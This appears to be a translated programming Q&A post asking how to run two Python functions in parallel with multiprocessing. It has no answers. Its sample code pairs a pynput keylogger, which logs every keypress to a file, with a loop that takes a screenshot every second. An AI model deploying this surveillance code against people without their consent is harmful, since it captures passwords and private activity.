如何在python中运行并行多个功能

时间:2019-03-01 07:18:26

标签: python-3.x

我试图使2个函数同时运行,但不会在完全相同的时间执行

from multiprocessing import Process
from pynput.keyboard import Key, Listener
import logging
import time
import pyautogui
def screenshot():
    x=1
    while x<61:         
     pyautogui.screenshot(str(x)+'.jpeg')
        x+=1
        time.sleep(1)
def keylogger():
    logging.basicConfig(filename=("key_log.txt"), level=logging.DEBUG, 
                        format='["%(asctime)s", %(message)s]')

    def on_press(key):
        logging.info('"{0}"'.format(key))
    with Listener(on_press=on_press) as listener:
        listener.join()

通过使用多重处理

if __name__ == '__main__':
    p1 = Process(target=screenshot)
    p1.start()
    p2 = Process(target=keylogger)
    p2.start()
    p1.join()
    p2.join()

0 个答案:

没有答案